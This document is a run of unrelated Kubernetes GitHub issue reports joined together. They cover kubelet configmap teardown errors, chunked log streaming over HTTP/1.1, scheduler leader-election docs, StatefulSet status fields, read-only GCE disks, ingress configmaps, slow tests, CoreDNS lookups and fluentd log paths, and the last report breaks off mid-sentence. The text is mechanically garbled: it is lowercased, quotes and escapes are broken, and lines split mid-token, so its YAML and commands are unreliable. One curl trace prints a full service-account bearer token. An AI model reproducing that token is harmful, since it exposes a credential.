\ wrapped_wrapped_wrapped_wrapped_wrapped_wrapped_wrapped_wrapped_config.deleting~514849292.deleting~223145252.deleting~953831573.deleting~066621341.deleting~006195060.deleting~072738773.deleting~610429025.deleting~480411910\   pod \ c15dca04-216f-11e7-bd06-fefcfe4a4403\   uid: \ c15dca04-216f-11e7-bd06-fefcfe4a4403\   with: rename /var/lib/kubelet/pods/c15dca04-216f-11e7-bd06-fefcfe4a4403/volumes/kubernetes.io~configmap/wrapped_wrapped_wrapped_wrapped_wrapped_wrapped_wrapped_wrapped_config.deleting~514849292.deleting~223145252.deleting~953831573.deleting~066621341.deleting~006195060.deleting~072738773.deleting~610429025.deleting~480411910 /var/lib/kubelet/pods/c15dca04-216f-11e7-bd06-fefcfe4a4403/volumes/kubernetes.io~configmap/wrapped_wrapped_wrapped_wrapped_wrapped_wrapped_wrapped_wrapped_wrapped_config.deleting~514849292.deleting~223145252.deleting~953831573.deleting~066621341.deleting~006195060.deleting~072738773.deleting~610429025.deleting~480411910.deleting~942036916: file exists\r e0415 23:37:14.033874    4970 nestedpendingoperations.go:262  operation for \ \\\ kubernetes.io/configmap/c15dca04-216f-11e7-bd06-fefcfe4a4403-wrapped_wrapped_wrapped_wrapped_wrapped_wrapped_wrapped_wrapped_config.deleting~695611698.deleting~014977051.deleting~719028619.deleting~227058650.deleting~621061087.deleting~291513475.deleting~663898350.deleting~200843980\\\   \\\ c15dca04-216f-11e7-bd06-fefcfe4a4403\\\  \  failed. no retries permitted until 2017-04-15 23:37:14.533767459 +0800 cst  durationbeforeretry 500ms . error: unmountvolume.teardown failed for volume \ kubernetes.io/configmap/c15dca04-216f-11e7-bd06-fefcfe4a4403-wrapped_wrapped_wrapped_wrapped_wrapped_wrapped_wrapped_wrapped_config.deleting~695611698.deleting~014977051.deleting~719028619.deleting~227058650.deleting~621061087.deleting~291513475.deleting~663898350.deleting~200843980\   volume.spec.name: \ wrapped_wrapped_wrapped_wrapped_wrapped_wrapped_wrapped_wrapped_config.deleting~695611698.deleting~014977051.deleting~719028619.deleting~227058650.deleting~621061087.deleting~291513475.deleting~663898350.deleting~200843980\   pod \ c15dca04-216f-11e7-bd06-fefcfe4a4403\   uid: \ c15dca04-216f-11e7-bd06-fefcfe4a4403\   with: rename /var/lib/kubelet/pods/c15dca04-216f-11e7-bd06-fefcfe4a4403/volumes/kubernetes.io~configmap/wrapped_wrapped_wrapped_wrapped_wrapped_wrapped_wrapped_wrapped_config.deleting~695611698.deleting~014977051.deleting~719028619.deleting~227058650.deleting~621061087.deleting~291513475.deleting~663898350.deleting~200843980 /var/lib/kubelet/pods/c15dca04-216f-11e7-bd06-fefcfe4a4403/volumes/kubernetes.io~configmap/wrapped_wrapped_wrapped_wrapped_wrapped_wrapped_wrapped_wrapped_wrapped_config.deleting~695611698.deleting~014977051.deleting~719028619.deleting~227058650.deleting~621061087.deleting~291513475.deleting~663898350.deleting~200843980.deleting~872334788: file exists\r e0415 23:37:14.046203    4970 nestedpendingoperations.go:262  operation for \ \\\ kubernetes.io/configmap/c15dca04-216f-11e7-bd06-fefcfe4a4403-wrapped_wrapped_wrapped_wrapped_wrapped_config.deleting~514849292.deleting~011925771.deleting~633095675.deleting~629405724.deleting~676934460\\\   \\\ c15dca04-216f-11e7-bd06-fefcfe4a4403\\\  \  failed. no retries permitted until 2017-04-15 23:37:14.546086259 +0800 cst  durationbeforeretry 500ms . error: unmountvolume.teardown failed for volume \ kubernetes.io/configmap/c15dca04-216f-11e7-bd06-fefcfe4a4403-wrapped_wrapped_wrapped_wrapped_wrapped_config.deleting~514849292.deleting~011925771.deleting~633095675.deleting~629405724.deleting~676934460\   volume.spec.name: \ wrapped_wrapped_wrapped_wrapped_wrapped_config.deleting~514849292.deleting~011925771.deleting~633095675.deleting~629405724.deleting~676934460\   pod \ c15dca04-216f-11e7-bd06-fefcfe4a4403\   uid: \ c15dca04-216f-11e7-bd06-fefcfe4a4403\   with: rename /var/lib/kubelet/pods/c15dca04-216f-11e7-bd06-fefcfe4a4403/volumes/kubernetes.io~configmap/wrapped_wrapped_wrapped_wrapped_wrapped_config.deleting~514849292.deleting~011925771.deleting~633095675.deleting~629405724.deleting~676934460 /var/lib/kubelet/pods/c15dca04-216f-11e7-bd06-fefcfe4a4403/volumes/kubernetes.io~configmap/wrapped_wrapped_wrapped_wrapped_wrapped_wrapped_config.deleting~514849292.deleting~011925771.deleting~633095675.deleting~629405724.deleting~676934460.deleting~530880387: file exists\r e0415 23:37:14.062587    4970 nestedpendingoperations.go:262  operation for \ \\\ kubernetes.io/configmap/c15dca04-216f-11e7-bd06-fefcfe4a4403-wrapped_wrapped_wrapped_wrapped_wrapped_wrapped_config.deleting~519659352.deleting~321693055.deleting~235276354.deleting~150571661.deleting~257317053.deleting~776300514\\\   \\\ c15dca04-216f-11e7-bd06-fefcfe4a4403\\\  \  failed. no retries permitted until 2017-04-15 23:37:14.562502419 +0800 cst  durationbeforeretry 500ms . error: unmountvolume.teardown failed for volume \ kubernetes.io/configmap/c15dca04-216f-11e7-bd06-fefcfe4a4403-wrapped_wrapped_wrapped_wrapped_wrapped_wrapped_config.deleting~519659352.deleting~321693055.deleting~235276354.deleting~150571661.deleting~257317053.deleting~776300514\   volume.spec.name: \ wrapped_wrapped_wrapped_wrapped_wrapped_wrapped_config.deleting~519659352.deleting~321693055.deleting~235276354.deleting~150571661.deleting~257317053.deleting~776300514\   pod \ c15dca04-216f-11e7-bd06-fefcfe4a4403\   uid: \ c15dca04-216f-11e7-bd06-fefcfe4a4403\   with: rename /var/lib/kubelet/pods/c15dca04-216f-11e7-bd06-fefcfe4a4403/volumes/kubernetes.io~configmap/wrapped_wrapped_wrapped_wrapped_wrapped_wrapped_config.deleting~519659352.deleting~321693055.deleting~235276354.deleting~150571661.deleting~257317053.deleting~776300514 /var/lib/kubelet/pods/c15dca04-216f-11e7-bd06-fefcfe4a4403/volumes/kubernetes.io~configmap/wrapped_wrapped_wrapped_wrapped_wrapped_wrapped_wrapped_config.deleting~519659352.deleting~321693055.deleting~235276354.deleting~150571661.deleting~257317053.deleting~776300514.deleting~773386237: file exists                                    \r \r \r i0416 00:18:55.882064   32298 reconciler.go:189  unmountvolume operation started for volume \ kubernetes.io/configmap/ca3e6065-216f-11e7-bd06-fefcfe4a4403-wrapped_wrapped_wrapped_wrapped_wrapped_config.deleting~847195840.deleting~455689860.deleting~550181453.deleting~122\r 709296.deleting~422917645\   spec.name: \ wrapped_wrapped_wrapped_wrapped_wrapped_config.deleting~847195840.deleting~455689860.deleting~550181453.deleting~122709296.deleting~422917645\   from pod \ ca3e6065-216f-11e7-bd06-fefcfe4a4403\   uid: \ ca3e6065-216f-11e7-bd06-fefcfe4\r a4403\  .\r i0416 00:18:56.086904   32298 reconciler.go:189  unmountvolume operation started for volume \ kubernetes.io/configmap/ca3e6065-216f-11e7-bd06-fefcfe4a4403-wrapped_wrapped_wrapped_wrapped_wrapped_config.deleting~172282655.deleting~768863584.deleting~479289342.deleting~651\r 674308.deleting~945842314\   spec.name: \ wrapped_wrapped_wrapped_wrapped_wrapped_config.deleting~172282655.deleting~768863584.deleting~479289342.deleting~651674308.deleting~945842314\   from pod \ ca3e6065-216f-11e7-bd06-fefcfe4a4403\   uid: \ ca3e6065-216f-11e7-bd06-fefcfe4\r a4403\  .\r i0416 00:19:01.693455   32298 reconciler.go:189  unmountvolume operation started for volume \ kubernetes.io/configmap/ca3e6065-216f-11e7-bd06-fefcfe4a4403-wrapped_wrapped_wrapped_wrapped_wrapped_wrapped_wrapped_config.deleting~254097559.deleting~143625012.deleting~680169\r 565.deleting~736466086.deleting~919495974.deleting~937778121.deleting~470128291\   spec.name: \ wrapped_wrapped_wrapped_wrapped_wrapped_wrapped_wrapped_config.deleting~254097559.deleting~143625012.deleting~680169565.deleting~736466086.deleting~919495974.deleting~937778121\r .deleting~470128291\   from pod \ ca3e6065-216f-11e7-bd06-fefcfe4a4403\   uid: \ ca3e6065-216f-11e7-bd06-fefcfe4a4403\  .\r    \r \r \r   what you expected to happen  :\r \r \r   how to reproduce it    as minimally and precisely as possible :\r \r \r   anything else we need to know  :\r \r

https://github.com/kubernetes/kubernetes/issues/46812 accidentally stopped the embedded aggregator from routing to remove services.

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  : feature request\r \r > uncomment only one, leave it on its own line: \r >\r >   \r @kubernetes/sig-scheduling-feature-requests

  \r kubernetes is sending a broken response when watching logs over http 1.1. it sends a chunked response without sending the the size of the chunk first.\r \r  relevant rfc for reference.  https://tools.ietf.org/html/rfc7230 section-4.1 \r \r example:\r    \r curl --http1.1 -kv 'https://192.168.99.100:8443/api/v1/namespaces/default/pods/nginx-1423793266-mq53r/log?follow=true' -h \ authorization: bearer $token\ \r     trying 192.168.99.100...\r   tcp_nodelay set\r   connected to 192.168.99.100  192.168.99.100  port 8443   0 \r   initializing nss with certpath: sql:/etc/pki/nssdb\r   skipping ssl peer certificate verification\r   nss: client certificate not found  nickname not specified \r   alpn, server accepted to use http/1.1\r   ssl connection using tls_ecdhe_rsa_with_aes_128_gcm_sha256\r   server certificate:\r   \tsubject: cn=minikube,o=system:masters\r   \tstart date: aug 17 17:04:24 2017 gmt\r   \texpire date: aug 17 17:04:24 2018 gmt\r   \tcommon name: minikube\r   \tissuer: cn=minikubeca\r > get /api/v1/namespaces/default/pods/nginx-1423793266-mq53r/log?follow=true http/1.1\r > host: 192.168.99.100:8443\r > user-agent: curl/7.53.1\r > accept:  / \r > authorization: bearer eyjhbgcioijsuzi1niisinr5cci6ikpxvcj9.eyjpc3mioijrdwjlcm5ldgvzl3nlcnzpy2vhy2nvdw50iiwia3vizxjuzxrlcy5pby9zzxj2awnlywnjb3vudc9uyw1lc3bhy2uioijkzwzhdwx0iiwia3vizxjuzxrlcy5pby9zzxj2awnlywnjb3vudc9zzwnyzxqubmftzsi6imrlzmf1bhqtdg9rzw4tzjl2bhailcjrdwjlcm5ldgvzlmlvl3nlcnzpy2vhy2nvdw50l3nlcnzpy2utywnjb3vudc5uyw1lijoizgvmyxvsdcisimt1ymvybmv0zxmuaw8vc2vydmljzwfjy291bnqvc2vydmljzs1hy2nvdw50lnvpzci6iji1mdrlowfkltgznmutmtflny05mwiwlta4mdayn2mzy2i1nyisinn1yii6inn5c3rlbtpzzxj2awnlywnjb3vuddpkzwzhdwx0omrlzmf1bhqifq.qfajwxr2zfg72gis_kuudl0lz5ypgz_sqdayrrwayojfvwcpwqjnfowyqceskrqmsdqkawlnyicb1h4sxpbw9hpjymaisqco3dq8azl9zmpfhwbzntboursz5xuwtun3zogbg3jhk-kztud2yp241aaf0qafz80k-5zt4chelq-gqzcjco_8kv1trhcmvekk0aozmapkyqojppn0z-cpcheoxusemk2mtjed2ivafl6qerhka-guupuymkbwam_gmzh_d5igcsaj9x9gjb7d5evbmx4qyw_hw0sgbdicwxdjay4_nv0xromywih789rcmm2ikch5gopesf8hhduwjg\r > \r < http/1.1 200 ok\r < content-type: text/plain\r < date: thu, 17 aug 2017 17:45:03 gmt\r < transfer-encoding: chunked\r < \r 172.17.0.1 - -  17/aug/2017:17:43:54 +0000  \ get / http/1.1\  200 612 \ -\  \ curl/7.53.1\  \ -\ \r    \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.0+695f48a16f\ , gitcommit:\ d2e5420\ , gittreestate:\ clean\ , builddate:\ 2017-08-10t18:57:36z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.0\ , gitcommit:\ d3ada0119e776222f11ec7945e6d860061339aad\ , gittreestate:\ clean\ , builddate:\ 2017-07-26t00:12:31z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r

<!-- thanks for filing an issue! before submitting, please fill in the following information. -->\r \r <!--required information-->\r \r   this is a...   \r <!-- choose one by changing     to  x  -->\r -     feature request\r -  x  bug report\r \r   problem:  \r \r https://v1-6.docs.kubernetes.io/docs/tasks/administer-cluster/configure-multiple-schedulers/\r the document says we need to setup\r \r    \r --leader-elect=true\r --lock-object-namespace=lock-object-namespace\r --lock-object-name=lock-object-name\r    \r \r to use mulitiple scheduler with leader election enabled.but i cannot find these args in kube-scheduler v1.6.6.these args seems to be bringing in at v1.7.0\r \r the docs confused me\r \r   proposed solution:  \r \r maybe we need to clarify that v1.6 does  not support these args\r \r   page to update:  \r https://kubernetes.io/...\r \r <!--optional information  remove the comment tags around information you would like to include -->\r <!--kubernetes version:-->\r \r <!--additional information:-->\r

is this a bug report or feature request?  :\r \r  \r   what happened  :\r created statefulset. ran the following to check the status of statefulset:\r \r    \r kubectl get statefulset kafka -o go-template --template='{{if ne  .status.replicas   .status.readyreplicas }}false{{end}}'\r \r error: error executing template \ {{if ne  .status.replicas   .status.readyreplicas }}false{{end}}\ : template: output:1:5: executing \ output\  at <ne  .status.replicas...>: error calling ne: invalid type for comparison\r    \r this is because the .status.readyreplicas is not immediacy available.\r \r checked json output for .status.readyreplicas field and its missing.\r \r    \r kubectl get statefulset kafka -o json\r ...\r   \ status\ : {\r         \ collisioncount\ : 0,\r         \ currentreplicas\ : 1,\r         \ currentrevision\ : \ kafka-6fcdbd6597\ ,\r         \ observedgeneration\ : 1,\r         \ replicas\ : 1,\r         \ updaterevision\ : \ kafka-6fcdbd6597\ \r     }\r ...\r    \r \r   what you expected to happen  :\r .status.readyreplicas should show 0 during creation.\r \r    \r kubectl get statefulset kafka -o json\r ...\r     \ status\ : {\r         \ collisioncount\ : 0,\r         \ currentreplicas\ : 1,\r         \ currentrevision\ : \ kafka-6fcdbd6597\ ,\r         \ observedgeneration\ : 3,\r         \ readyreplicas\ : 0,\r         \ replicas\ : 1,\r         \ updaterevision\ : \ kafka-6fcdbd6597\ \r     }\r ...\r    \r \r   how to reproduce it  as minimally and precisely as possible   :\r create a statefulset and immediately check the the json output of said statefulset.\r \r    \r kubectl create -f deploy.yml \r kubectl get statefulset <statefulset name> -o json\r    \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : \r    \r client version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.3\ , gitcommit:\ d2835416544f298c919e2ead3be3d0864b52323b\ , gittreestate:\ clean\ , builddate:\ 2018-02-07t12:22:21z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.3\ , gitcommit:\ d2835416544f298c919e2ead3be3d0864b52323b\ , gittreestate:\ clean\ , builddate:\ 2018-02-07t11:55:20z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration:  n/a\r - os  e.g. from /etc/os-release :\r    \r name=\ centos linux\ \r version=\ 7  core \ \r id=\ centos\ \r id_like=\ rhel fedora\ \r version_id=\ 7\ \r pretty_name=\ centos linux 7  core \ \r ansi_color=\ 0;31\ \r cpe_name=\ cpe:/o:centos:centos:7\ \r home_url=\ https://www.centos.org/\ \r bug_report_url=\ https://bugs.centos.org/\ \r \r centos_mantisbt_project=\ centos-7\ \r centos_mantisbt_project_version=\ 7\ \r redhat_support_product=\ centos\ \r redhat_support_product_version=\ 7\ \r    \r \r - kernel  e.g.  uname -a  : \r    \r linux dev.lan 3.10.0-693.21.1.el7.x86_64  1 smp wed mar 7 19:03:37 utc 2018 x86_64 x86_64 x86_64 gnu/linux\r    \r - install tools: n/a\r - others: n/a\r \r 

is this a bug report or feature request?  : bug\r   \r   what happened  :\r i created a gcepersistentdisk to back a persistentvolume with following manifest:\r    yml\r apiversion: v1\r kind: persistentvolume\r metadata:\r     name: map-service-pv\r spec:\r     capacity:\r       storage: 25gi\r     accessmodes:\r       - readonlymany\r     persistentvolumereclaimpolicy: retain\r     storageclassname: ssd\r     gcepersistentdisk:\r       pdname: map-service-data\r       readonly: true\r       fstype: ext4\r    \r which is used in persistentvolumeclaim like so:\r    yml\r apiversion: v1\r kind: persistentvolumeclaim\r metadata:\r   name: map-service-pvc\r spec:\r   accessmodes:\r     - readonlymany\r   storageclassname: \ ssd\ \r   resources:\r     requests:\r       storage: 25gi\r   volumename: map-service-pv\r    \r which is used in 2 pods in a deployment. these pods each run on different node. each of these nodes are in a same zone as the gcepd. this should not be a problem because  gcepd allows  https://cloud.google.com/kubernetes-engine/docs/concepts/persistent-volumes  to be mounted to more vm instances as long as it is mounted as read only.\r \r however after i apply these manifests, the gcepd gets mounted to eh first node in read/write mode:\r ! image  https://user-images.githubusercontent.com/16712262/44001796-978e5370-9e38-11e8-8ef6-c7d24261c24a.png \r  it's the map-service-data disk \r \r this prevents the second pod running on a different node from attaching it with following error event:\r    \r warning  failedattachvolume     1m  x21 over 29m   attachdetach-controller                           attachvolume.attach failed for volume \ map-service-pv\  : googleapi: error 400: the disk resource 'projects/goout-cloud/zones/europe-west1-b/disks/map-service-data' is already being used by 'projects/goout-cloud/zones/europe-west1-b/instances/gke-testing-master-pool-1-9b8db895-vgt2'\r    \r \r also when i manually change mode of the gcepd in the cloud console to read only, the second pod is still unable to attach the volume with this error event:\r    \r warning  failedmount            1m  x15 over 32m   kubelet, gke-testing-master-pool-1-9b8db895-v927  unable to mount volumes for pod \ map-service-6576445d74-lrfv7_default 3b6493c8-9e17-11e8-a1d7-42010a840150 \ : timeout expired waiting for volumes to attach or mount for pod \ default\ /\ map-service-6576445d74-lrfv7\ . list of unmounted volumes= map-service-data . list of unattached volumes= map-service-data default-token-c\r    \r \r   what you expected to happen  :\r i expect that with these manifests the gcepd will get mounted as read only to all nodes with pods using this pvc.\r i also expect, that when changing manually the mode in gc console to read only the yet non-attached volumes will get attached.\r \r   how to reproduce it  as minimally and precisely as possible   :\r create a gcepersistenddisk:\r    shell\r gcloud compute disks create map-service-data --size 25 --type ssd\r    \r create pv, pvc and deployment:\r    yml\r apiversion: extensions/v1beta1\r kind: deployment\r metadata:\r   name: map-service\r   namespace: default\r spec:\r   replicas: 1\r   selector:\r     matchlabels:\r       name: map-service\r   template:\r     metadata:\r       labels:\r         name: map-service\r     spec:\r       volumes:\r       - name: map-service-data\r         persistentvolumeclaim:\r           claimname: map-service-pvc\r       containers:\r         - name: map-service\r           image: image_tag\r           resources:\r             requests:\r               memory: 512mi\r               cpu: 10m\r             limits:\r               memory: 2g\r               cpu: 1\r           ports:\r           - containerport: 80\r           volumemounts:\r           - mountpath: \ /data\ \r             name: map-service-data\r             readonly: true\r ---\r apiversion: v1\r kind: persistentvolume\r metadata:\r     name: map-service-pv\r spec:\r     capacity:\r       storage: 25gi\r     accessmodes:\r       - readonlymany\r     persistentvolumereclaimpolicy: retain\r     storageclassname: ssd\r     gcepersistentdisk:\r       pdname: map-service-data\r       readonly: true\r       fstype: ext4\r ---\r apiversion: v1\r kind: persistentvolumeclaim\r metadata:\r   name: map-service-pvc\r spec:\r   accessmodes:\r     - readonlymany\r   storageclassname: \ ssd\ \r   resources:\r     requests:\r       storage: 25gi\r   volumename: map-service-pv\r    \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.3\ , gitcommit:\ 2bba0127d85d5a46ab4b778548be28623b32d0b0\ , gittreestate:\ clean\ , builddate:\ 2018-05-21t09:17:39z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ windows/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 10+\ , gitversion:\ v1.10.5-gke.4\ , gitcommit:\ 6265b9797fc8680c8395abeab12c1e3bad14069a\ , gittreestate:\ clean\ , builddate:\ 2018-08-04t03:47:40z\ , goversion:\ go1.9.3b4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration: gke\r - os  e.g. from /etc/os-release : \r    \r build_id=10452.101.0\r name=\ container-optimized os\ \r kernel_commit_id=0e35e889986f5c894db31275ad389ea56171faec\r google_crash_id=lakitu\r version_id=66\r bug_report_url=https://crbug.com/new\r pretty_name=\ container-optimized os from google\ \r version=66\r google_metrics_product_id=26\r home_url=\ https://cloud.google.com/compute/docs/containers/vm-image/\ \r id=cos\r    \r - kernel  e.g.  uname -a  :\r    \r linux gke-testing-master-pool-1-9b8db895-v927 4.14.22+  1 smp wed may 30 13:49:27 pdt 2018 x86_64 intel r  xeon r  \r cpu @ 2.60ghz genuineintel gnu/linux\r

\r   what would you like to be added  :\r \r i would like to deploy an ingress with configurations settings stored inside a configmap.\r \r \r   proposed solution:  \r \r    yaml\r apiversion: extensions/v1beta1\r kind: ingress\r metadata:\r   name: test-ingress\r   annotations:\r     nginx.ingress.kubernetes.io/rewrite-target: /\r spec:\r   rules:\r   - host:\r     valuefrom:\r       configmapkeyref:\r         name: ingress-config\r         key: ingress_host\r   - http:\r       paths:\r       - path:\r         valuefrom:\r           configmapkeyref:\r             name: ingress-config\r             key: ingress_path\r         backend:\r           servicename: test\r           serviceport: 80\r    \r \r   why is this needed  :\r \r i would like to share the same configurations for my various environments  testing, stage, production,… . today i have to manually maintain a set of files or use a template system such as helm. it would be nice to have such a feature in kubernetes.

@katharine created a spread sheet of the slowest running tests for the pull-kubernetes-gce job.\r cc @liggitt \r \r discussion on slack:\r https://kubernetes.slack.com/archives/c09qz4dqb/p1554413286170600\r \r spreadsheet:\r https://docs.google.com/spreadsheets/d/1xxxbqtqarifgy9haajvf0dj83kydq14mqijash9twyq/edit?usp=sharing\r \r pie chart of test durations from sigs:\r ! pull-kubernetes-e2e-gce-test-durations  https://user-images.githubusercontent.com/331852/55592649-bd2f5f80-5741-11e9-859c-86a29ad2b1b6.png \r \r it seems appropriate to evaluate the state of the tests and reduce these runtimes.\r possibly move tests to periodic by marking them as  slow .\r \r @kubernetes/sig-storage-bugs \r /assign @saad-ali @childsb \r  /area test\r  ? \r

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/\r -->\r \r \r   what happened  :\r services can only be resolved ip address by  fully-qualified name \r   what you expected to happen  :\r service can be resolved correctly\r \r   how to reproduce it  as minimally and precisely as possible   :\r following is what my environment looks like:\r    \r $ k get pods --all-namespaces\r default       job-system-7f866c7987-ft8xs                      2/2     running   0          21m\r kube-system   coredns-fb8b8dccf-2d96m                          1/1     running   0          154m\r kube-system   coredns-fb8b8dccf-vrxl8                          1/1     running   0          154m\r kube-system   etcd-watsng-u1804-kvm-14-13                      1/1     running   0          153m\r kube-system   kube-apiserver-watsng-u1804-kvm-14-13            1/1     running   0          153m\r kube-system   kube-controller-manager-watsng-u1804-kvm-14-13   1/1     running   0          153m\r kube-system   kube-proxy-qlcz9                                 1/1     running   0          154m\r kube-system   kube-scheduler-watsng-u1804-kvm-14-13            1/1     running   0          153m\r kube-system   weave-net-g2csb                                  2/2     running   0          153m\r \r $ k cluster-info\r kubernetes master is running at https://10.138.14.13:6443\r kubedns is running at https://10.138.14.13:6443/api/v1/namespaces/kube-system/services/kube-dns:dns/proxy\r \r to further debug and diagnose cluster problems, use 'kubectl cluster-info dump'.\r \r $ k get svc\r name         type        cluster-ip    external-ip   port s         age\r job-system   nodeport    10.107.3.11   <none>        80:30123/tcp   23m\r kubernetes   clusterip   10.96.0.1     <none>        443/tcp        156m\r \r $ k get pods\r name                          ready   status    restarts   age\r job-system-7f866c7987-ft8xs   2/2     running   0          23m\r \r $ k get ep\r name         endpoints           age\r job-system   10.32.0.4:8080      57m\r kubernetes   10.138.14.13:6443   3h10m\r \r    \r \r when i debuging my service accord to this page: https://kubernetes.io/docs/tasks/debug-application-cluster/debug-service/, i ran nslookup in  node :\r \r    \r $ nslookup job-system 10.96.0.10\r server:\t\t10.96.0.10\r address:\t10.96.0.10 53\r \r    server can't find job-system: servfail\r \r $ nslookup job-system.default 10.96.0.10\r  server:\t\t10.96.0.10\r address:\t10.96.0.10 53\r \r    server can't find job-system.default: nxdomain\r \r $ nslookup job-system.default.svc.cluster.local 10.96.0.10\r server:\t\t10.96.0.10\r address:\t10.96.0.10 53\r \r name:\tjob-system.default.svc.cluster.local\r address: 10.107.3.11\r \r $ k exec job-system-7f866c7987-ft8xs -- cat /etc/resolv.conf\r nameserver 10.96.0.10\r search default.svc.cluster.local svc.cluster.local cluster.local\r options ndots:5\r    \r and also the  kubernetes.default  is same with my own service, only can be resolved by fully-qualified name.\r \r \r   anything else we need to know?  :\r    \r logs of kube-proxy\r    \r w0408 07:25:43.919580       1 server_others.go:295  flag proxy-mode=\ \  unknown, assuming iptables proxy\r i0408 07:25:43.935695       1 server_others.go:148  using iptables proxier.\r w0408 07:25:43.935907       1 proxier.go:319  clustercidr not specified, unable to distinguish between internal and external traffic\r i0408 07:25:43.936022       1 server_others.go:178  tearing down inactive rules.\r i0408 07:25:44.474512       1 server.go:555  version: v1.14.0\r i0408 07:25:44.485626       1 conntrack.go:100  set sysctl 'net/netfilter/nf_conntrack_max' to 786432\r i0408 07:25:44.485675       1 conntrack.go:52  setting nf_conntrack_max to 786432\r i0408 07:25:44.499667       1 conntrack.go:83  setting conntrack hashsize to 196608\r i0408 07:25:44.522417       1 conntrack.go:100  set sysctl 'net/netfilter/nf_conntrack_tcp_timeout_established' to 86400\r i0408 07:25:44.522518       1 conntrack.go:100  set sysctl 'net/netfilter/nf_conntrack_tcp_timeout_close_wait' to 3600\r i0408 07:25:44.522711       1 config.go:202  starting service config controller\r i0408 07:25:44.522730       1 config.go:102  starting endpoints config controller\r i0408 07:25:44.522769       1 controller_utils.go:1027  waiting for caches to sync for service config controller\r i0408 07:25:44.522786       1 controller_utils.go:1027  waiting for caches to sync for endpoints config controller\r i0408 07:25:44.623036       1 controller_utils.go:1034  caches are synced for endpoints config controller\r i0408 07:25:44.623125       1 controller_utils.go:1034  caches are synced for service config controller\r    \r \r one of the coredns pod raises an error:\r    \r $ k logs coredns-fb8b8dccf-2d96m -nkube-system\r .:53\r 2019-04-08t07:30:57.632z  info  coredns-1.3.1\r 2019-04-08t07:30:57.632z  info  linux/amd64, go1.11.4, 6b56a9c\r coredns-1.3.1\r linux/amd64, go1.11.4, 6b56a9c\r 2019-04-08t07:30:57.632z  info  plugin/reload: running configuration md5 = 599b9eb76b8c147408aed6a0bbe0f669\r 2019-04-08t07:31:03.633z  error  plugin/errors: 2 2386294879477061812.8548486381391418481. hinfo: read udp 10.32.0.3:51276->172.23.0.8:53: i/o timeout\r    \r \r and another not have this error\r    \r $ k logs coredns-fb8b8dccf-vrxl8 -nkube-system\r .:53\r 2019-04-08t07:30:55.269z  info  coredns-1.3.1\r 2019-04-08t07:30:55.270z  info  linux/amd64, go1.11.4, 6b56a9c\r coredns-1.3.1\r linux/amd64, go1.11.4, 6b56a9c\r 2019-04-08t07:30:55.270z  info  plugin/reload: running configuration md5 = 599b9eb76b8c147408aed6a0bbe0f669\r    \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 14\ , gitversion:\ v1.14.0\ , gitcommit:\ 641856db18352033a0d96dbc99153fa3b27298e5\ , gittreestate:\ clean\ , builddate:\ 2019-03-25t15:53:57z\ , goversion:\ go1.12.1\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 14\ , gitversion:\ v1.14.0\ , gitcommit:\ 641856db18352033a0d96dbc99153fa3b27298e5\ , gittreestate:\ clean\ , builddate:\ 2019-03-25t15:45:25z\ , goversion:\ go1.12.1\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration: \r hardware\r - os  e.g:  cat /etc/os-release  :\r    \r name=\ ubuntu\ \r version=\ 18.04.2 lts  bionic beaver \ \r id=ubuntu\r id_like=debian\r pretty_name=\ ubuntu 18.04.2 lts\ \r version_id=\ 18.04\ \r home_url=\ https://www.ubuntu.com/\ \r support_url=\ https://help.ubuntu.com/\ \r bug_report_url=\ https://bugs.launchpad.net/ubuntu/\ \r privacy_policy_url=\ https://www.ubuntu.com/legal/terms-and-policies/privacy-policy\ \r version_codename=bionic\r ubuntu_codename=bionic\r    \r - kernel  e.g.  uname -a  :\r    \r linux k8s 4.15.0-47-generic  50-ubuntu smp wed mar 13 10:44:52 utc 2019 x86_64 x86_64 x86_64 gnu/linux\r    \r - install tools:\r - others:\r \r \r i an newer of k8s, appreciate for any help!\r

it seems that there are potentially two separate issues here: - the inconsistent docker root due to a potential race between kubelet and docker. - the misconfiguration  on aws  of fluentd to mount /var/lib/docker instead of /mnt/ephemeral/docker.  for the first issue, perhaps the kubelet should fail if it is not able to retrieve the docker root from docker info?  an alternative solution would be to mount our volume for aws to /var/lib/docker instead of /mnt/ephemeral/docker. this would solve both issues. but, it seems that the kubelet is providing the ability to dynamically locate the docker root for some reason.       details:  i'm having intermittent issues with fluentd pushing logs to elasticsearch. it seems that fluentd is unable to see the log files, even though it is able list the containers directory. this is happening on an aws cluster.  from inside the fluentd i see the following:      bash  root@fluentd-elasticsearch-ip-172-20-0-194:/  cat /varlog/containers/vapor-web-v1-x894w_vapor-alpha_nginx-521e74369e30312a32806b018e62ef81d6a606dd87c0772aaacc2461ae84e491.log  cat: /varlog/containers/vapor-web-v1-x894w_vapor-alpha_nginx-521e74369e30312a32806b018e62ef81d6a606dd87c0772aaacc2461ae84e491.log: no such file or directory      on aws the log file symlinks look like this:      bash  